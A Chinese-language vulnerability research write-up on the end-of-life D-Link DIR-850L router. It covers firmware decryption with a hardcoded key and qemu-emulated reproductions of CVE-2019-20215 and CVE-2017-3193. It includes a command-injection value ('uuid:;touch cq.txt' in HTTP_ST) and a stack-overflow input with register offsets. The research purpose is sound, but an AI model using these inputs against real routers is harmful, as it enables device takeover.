附件下载链接
这里选择的设备是一款家用路由器,型号为 D-Link DIR-850L(EOL) 。由于该款路由器已停产,官网无法下载到固件,不过目前这个网站还能下载到相关的固件,当然附件中也会提供需要分析的固件。
固件解密
以 DIR850LB1_FW207WWb05 为例,首先用 binwalk 分析,结果没有输出:
$ binwalk DIR850LB1_FW207WWb05.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
加上 -E 参数计算固件的熵:
$ binwalk -E DIR850LB1_FW207WWb05.bin
DECIMAL HEXADECIMAL ENTROPY
--------------------------------------------------------------------------------
0 0x0 Rising entropy edge (0.995718)
固件的熵较高,说明数据分布随机,也就是说固件是加密的。
Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol 这篇文章提供的解密方法可以解密该版本的固件,解密脚本如下:
/*
* Simple tool to decrypt D-LINK DIR-850L REVB firmwares
*
* $ gcc -o revbdec revbdec.c
* $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define USAGE "Usage: decimg <filename> <key>\n"
int main(int argc, char **argv) {
int i, fi;
int fo = STDOUT_FILENO, fe = STDERR_FILENO;
if (argc != 3) {
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
if ((fi = open(argv[1], O_RDONLY)) == -1) {
perror("open");
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
const char *key = argv[2];
int kl = strlen(key);
i = 0;
while (1) {
char buffer[4096];
int j, len;
len = read(fi, buffer, 4096);
if (len <= 0)
break;
for (j = 0; j < len; j++) {
buffer[j] ^= (i + j) % 0xFB + 1;
buffer[j] ^= key[(i + j) % kl];
}
write(fo, buffer, len);
i += len;
}
return (EXIT_SUCCESS);
}
运行脚本解密后发现 binwork 可以成功识别出固件的文件系统。
$ ./revbdec DIR850LB1_FW207WWb05.bin wrgac25_dlink.2013gui_dir850l > DIR850LB1_FW207WWb05_decrypted.bin
$ binwalk DIR850LB1_FW207WWb05_decrypted.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10517760 bytes; big endian size: 8232960 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8231815 bytes, 2677 inodes, blocksize: 131072 bytes, created: 2016-03-29 04:08:14
然而该解密脚本无法解密 DIR850LB1_FW220WWb05 ,因为该版本加密方式已经发生改变。
虽然加密方式改变,有一点可以确定,即一定存在方法能够在知道上一个解密方式的前提下得到新的解密方式,否则固件无法通过升级改变加密方式。
V2.20 版本固件的升级日志如下,从中可以得知 V2.20 必须从 V2.10 升级,也就是说 V2.10 是改变加密方式的过度版本。
DIR-850L Firmware Release Notes
=================================
**Note: a factory reset is recommended after upgrading to ensure correct configuration is applied**
Hardware: B1
Firmware: V2.20
Date: 20/09/2017
NOTE:
THE FIRMWARE V2.10WWB03 NEEDS TO BE UPLOADED FIRST AS A TRANSITIONAL FIRMWARE V2.10, BEFORE UPGRADING TO V2.20WWB03.
Upgrade to Firmware V2.10 and then instantly go back into the web user interface and upgrade to Firmware V2.20
Problems Resolved:
1. Fixed the following security issues
- Firmware Protection
- WAN & LAN XSS exploit
- WAN - weak cloud control
- WAN & LAN - Stunnel Private Keys
- WAN & LAN - Nonce brute force for DNS configuration
- Local - WEak file permission and credentials stored in clear text
- Local - DoS attack against some daemons
binwalk 分析 DIR850LB1_FW210WWb03 发现固件没有加密,可以识别出其中的文件系统。
$ binwalk DIR850LB1_FW210WWb03.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 13664256 bytes; big endian size: 8441856 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8441157 bytes, 2692 inodes, blocksize: 131072 bytes, created: 2017-09-18 12:11:33
binwalk -e
解压 210 和 207 两个版本的固件,从文件系统中 htdocs 文件夹下提取出 cgibin 。cgibin 程序主要负责对 http 请求进行处理与响应,包括固件升级等。使用 IDA 插件 BinDiff(注意 ida 数据库路径必须是全英文的)比较两个文件差别,发现 encrypt_main 函数变化较大且与固件加密有关。
其中 210 版本的 encrypt_main 函数如下:
int __fastcall encrypt_main(int a1, char *const *a2)
{
int v2; // $a0
int v3; // $v0
const char *v4; // $a0
int v5; // $v0
int result; // $v0
int v7; // [sp+18h] [-8h]
while ( 2 )
{
v3 = getopt(a1, a2, "hvi:o:eds:");
if ( v3 > 0 )
{
switch ( v3 )
{
case 'd':
dword_43CE54 = 1;
continue;
case 'e':
dword_43CE50 = 1;
continue;
case 'h':
sub_408F8C();
sub_408F20();
v2 = 0;
goto LABEL_15;
case 'i':
if ( file )
free(file);
file = strdup(optarg);
continue;
case 'o':
if ( dword_43CE4C )
free(dword_43CE4C);
dword_43CE4C = strdup(optarg);
continue;
case 's':
dword_43CE40 = (int)strdup(optarg);
continue;
case 'v':
*(_DWORD *)algn_43CE44 = 1;
continue;
default:
sub_408F8C();
sub_408F20();
v2 = 9;
LABEL_15:
exit(v2);
return result;
}
}
break;
}
if ( !dword_43CE50 && !dword_43CE54 )
dword_43CE50 = 1;
if ( dword_43CE40 )
{
if ( file )
{
v5 = sub_4090E0((const char *)dword_43CE40);
goto LABEL_25;
}
v4 = "no image file specified!\n";
}
else
{
v4 = "no signature specified!\n";
}
fputs(v4, stderr);
sub_408F8C();
v5 = 9;
LABEL_25:
v7 = v5;
sub_408F20();
return v7;
}
可以看出,该函数首先通过 getopt 获取参数,然后根据参数决定相应才操作,最后调用的 sub_4090E0 函数可能是加解密固件的函数。进入 sub_4090E0 函数,发现大量与 AES 相关的函数名,因此可以确定该函数与加解密有关。
另外 h
参数可能是打印帮助信息,进入 sub_408F8C 函数发现确实有帮助信息。
int sub_408F8C()
{
printf("Usage: %s {OPTIONS}\n", "encimg");
puts(" -h : show this message.");
puts(" -v : Verbose mode.");
puts(" -i {input image file} : input image file.");
puts(" -e : encode file.");
puts(" -d : decode file.");
return puts(" -s : signature.");
}
在文件系统搜索 emcimg 发现确实有该文件,利用 qemu 模拟运行发现出错结果相同。
$ find . -name encimg
./usr/sbin/encimg
$ qemu-mips-static -L . ./usr/sbin/encimg -h
Usage: encimg {OPTIONS}
-h : show this message.
-v : Verbose mode.
-i {input image file} : input image file.
-e : encode file.
-d : decode file.
-s : signature.
为了确定解密时需设置的参数,我们继续分析 encrypt_main 函数,发现调用该函数的 encode_file_check 函数完成了解密时参数的设置:
int __fastcall encode_file_check(char *a1, int a2)
{
int v2; // $s4
FILE *v5; // $v0
FILE *v6; // $s1
int v7; // $v0
int v8; // $s1
int v9; // $a1
int result; // $v0
char *v11; // [sp+18h] [-1Ch] BYREF
const char *v12; // [sp+1Ch] [-18h]
char *v13; // [sp+20h] [-14h]
const char *v14; // [sp+24h] [-10h]
char *v15; // [sp+28h] [-Ch]
const char *v16; // [sp+2Ch] [-8h]
v2 = -1;
v5 = fopen("/etc/config/image_sign", "r");
v6 = v5;
if ( !v5 )
return v2;
if ( !fgets(byte_43CDB0, 128, v5) )
{
fclose(v6);
return v2;
}
fclose(v6);
cgibin_reatwhite(byte_43CDB0);
v7 = sobj_new();
v8 = v7;
ptr = a1;
if ( a2 )
{
v11 = "encimg";
v12 = "-i";
v14 = "-s";
v13 = a1;
v15 = byte_43CDB0;
v16 = "-d";
if ( encrypt_main(6, &v11) || (v2 = sub_406D20(v8, 1), v2 == -1) )
{
v2 = handle_realtek_fw(ptr, 0);
if ( !v2 && strcmp(ptr, "/var/firmware.seama") )
system("flash hw-move");
}
}
else
{
v2 = sub_406A78(v7, a1);
if ( v2 == -1 )
{
v13 = ptr;
v11 = "encimg";
v14 = "-s";
v12 = "-i";
v15 = byte_43CDB0;
v16 = "-d";
encrypt_main(6, &v11);
v2 = sub_406A78(v8, ptr);
}
}
result = v2;
if ( v8 )
{
sobj_del(v8, v9);
return v2;
}
return result;
}
根据该函数设置相应参数,发现固件成功解密:
$ cat ./etc/config/image_sign
wrgac25_dlink.2013gui_dir850l
$ qemu-mips-static -L . ./usr/sbin/encimg -i ./DIR850LB1_FW220WWb03.bin -d -s wrgac25_dlink.2013gui_dir850l
The file length of ./DIR850LB1_FW220WWb03.bin is 10145968
$ binwalk DIR850LB1_FW220WWb03.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 13664256 bytes; big endian size: 8441856 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8441027 bytes, 2692 inodes, blocksize: 131072 bytes, created: 2017-09-18 12:21:21
CVE-2019-20215
像 DIR-850L 这样的小型设备采用的是 httpd + cgibin 模式,即 httpd 负责“前端”请求处理,真正的“后端”处理由 cgibin 完成。两者之间通过环境变量通信。并且根据请求的不同,前端会根据请求类型调用相应的处理程序,cgibin 会根据传入的文件路径来决定调用哪个处理函数。
$ find . -type l |xargs ls -l | grep cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/mydlink/form_login -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/mydlink/form_logout -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/upnp/ssdpcgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./usr/sbin/authcgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./usr/sbin/fwupdater -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./usr/sbin/hnap -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./usr/sbin/phpcgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./usr/sbin/scandir.sgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 6月 11 2015 ./usr/sbin/wfanotify -> /htdocs/cgibin
漏洞存在于 cgibin 的 ssdpcgi_main 函数中。
首先发现从不同位置跳转到 LABEL_17 处时 lxmldbc_system 函数传入的格式化字符串所需参数数量不同,因此怀疑 IDA 识别错误,将两个不同位置的函数调用合并在一起了。
通过修改函数参数个数发现,实际上有 2 个位置调用 lxmldbc_system 函数,程序根据参数个数跳转到对应的位置调用 lxmldbc_system 。
对于 ssdpcgi_main 函数,我们只需要关心能够跳转到 LABEL_18 的程序执行流程,因为 LABEL_18 处的 lxmldbc_system 函数调用会将 v2 也就是 HTTP_ST作为参数传入,而 v2 实际是环境变量 HTTP_ST 的值,是我们可控的。
int __fastcall ssdpcgi_main(int a1)
{
...
result = -1;
if ( a1 == 2 )
{
v2 = getenv("HTTP_ST");
v3 = getenv("REMOTE_ADDR");
v19 = getenv("REMOTE_PORT");
v4 = getenv("SERVER_ID");
v5 = v4;
if ( v2 && v3 && v19 && v4 )
{
...
v11 = strncmp(v2, "uuid:", 5u);
v12 = v19;
if ( !v11 )
{
v13 = v3;
v14 = "%s uuid %s:%s %s %s &";
LABEL_18:
lxmldbc_system(v14, "/etc/scripts/upnp/M-SEARCH.sh", v13, v12, v5, v2);
return 0;
}
v15 = strncmp(v2, "urn:", 4u) != 0;
result = 0;
if ( v15 )
return result;
v16 = strstr(v2, ":device:");
v12 = v19;
if ( v16 )
{
v13 = v3;
v14 = "%s devices %s:%s %s %s &";
goto LABEL_18;
}
v17 = strstr(v2, ":service:");
v12 = v19;
if ( v17 )
{
v13 = v3;
v14 = "%s services %s:%s %s %s &";
goto LABEL_18;
}
return 0;
}
else
{
return -1;
}
}
return result;
}
而 lxmldbc_system 的作用实际上是将参数拼接起来调用 system 函数执行。
int __fastcall lxmldbc_system(const char *a1, int a2, int a3, int a4, int a5, int a6)
{
char v7[1028]; // [sp+1Ch] [-404h] BYREF
int v8; // [sp+42Ch] [+Ch] BYREF
int v9; // [sp+430h] [+10h]
int v10; // [sp+434h] [+14h]
v8 = a2;
v9 = a3;
v10 = a4;
vsnprintf(v7, 0x400u, a1, &v8);
return system(v7);
}
因此只需要通过设置环境变量使得最终调用 system 执行 HTTP_ST 对应的命令即可触发漏洞。
这里仅考虑对 cgibin 进行模拟。在解压的文件系统的根目录下运行如下 shell 脚本,并用 gdb 附加在 system 函数处下断点。
# 固件的文件系统根目录
FIRMWARE_PATH=$(pwd)
# 因为 cgibin 会根据 argv[0] 选择处理函数,因此使用 /htdocs/upnp/ssdpcgi 而不是 cgibin 作为可执行文件名
BINARY="/htdocs/upnp/ssdpcgi"
# binfmt 机制
cp $(which qemu-mips-static) ${FIRMWARE_PATH}/usr/bin/qemu-mips-static
# qemu 模拟运行的同时将 chroot 将根目录改为 FIRMWARE_PATH
sudo chroot ${FIRMWARE_PATH} qemu-mips-static\
-g 1234 \
-E REMOTE_ADDR="1.2.3.4" \
-E REMOTE_PORT="123" \
-E HTTP_ST="uuid:;touch cq.txt" \
-E SERVER_ID="sky123" \
${BINARY} "sky123" # 满足参数个数的校验
其中 cp $(which qemu-mips-static) ${FIRMWARE_PATH}/usr/bin/qemu-mips-static
的原因是因为 binfmt 机制,需要在固件的文件系统对应位置放一个 qemu-mips-static 。
$ cat /proc/sys/fs/binfmt_misc/qemu-mips
enabled
interpreter /usr/bin/qemu-mips-static
flags: OCF
offset 0
magic 7f454c46010201000000000000000000000200080000000000000000000000000000000000000000
mask ffffffffffffff00fefffffffffffffffffeffff0000000000000000000000000000000000000020
system 传入的参数和预期相同。
继续运行,发现根目录下多了一个 cq.txt 文件,说明命令被成功执行。
CVE-2017-3193
漏洞位于 cgibin 中的 hnap_main 函数中,是一个简单的栈溢出漏洞:
由于函数较为复杂,想要完整分析比较困难,因此可以尝试改变输入内容观察是否能够运行到漏洞点和函数返回。
首先对函数粗略分析如下:
- 可以看到前面有对 v7 的校验,也就说要想执行到漏洞点, HTTP_COOKIE 必须包含
uid=
前缀。 - strcat 函数拼接的两个字符串是 v6 用空格分割后第 2 个字符串和 v4,这两个字符串对应的是 HTTP_HNAP_AUTH 的后半部分和 HTTP_SOAPACTION 。
- v5 即 REQUEST_METHOD 不确定,暂且设为
POST
。
根据分析写出如下运行脚本:
FIRMWARE_PATH=$(pwd)
BINARY="/usr/sbin/hnap"
cp $(which qemu-mips-static) ${FIRMWARE_PATH}/usr/bin/qemu-mips-static
sudo chroot ${FIRMWARE_PATH} qemu-mips-static \
-g 1234 \
-E REQUEST_METHOD="POST" \
-E HTTP_HNAP_AUTH="123 456" \
-E HTTP_COOKIE="uid=a1b2c3d4e5" \
-E HTTP_SOAPACTION="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" \
${BINARY}
运行脚本并且 gdb 附加后在函数返回处下断点,发现返回值被修改,除此之外还可以控制 $s0~$s7 寄存器。
相应的偏移可以从汇编中得出:
.text:0041519C 8F BF 0D 54 lw $ra, 0xD54($sp)
.text:004151A0 8F B7 0D 50 lw $s7, 0xD50($sp)
.text:004151A4 8F B6 0D 4C lw $s6, 0xD4C($sp)
.text:004151A8 8F B5 0D 48 lw $s5, 0xD48($sp)
.text:004151AC 8F B4 0D 44 lw $s4, 0xD44($sp)
.text:004151B0 8F B3 0D 40 lw $s3, 0xD40($sp)
.text:004151B4 8F B2 0D 3C lw $s2, 0xD3C($sp)
.text:004151B8 8F B1 0D 38 lw $s1, 0xD38($sp)
.text:004151BC 8F B0 0D 34 lw $s0, 0xD34($sp)
.text:004151C0 03 E0 00 08 jr $ra
.text:004151C4 27 BD 0D 58 addiu $sp, 0xD58
之后的利用可以借鉴 DVRF stack_bof_02 的思路。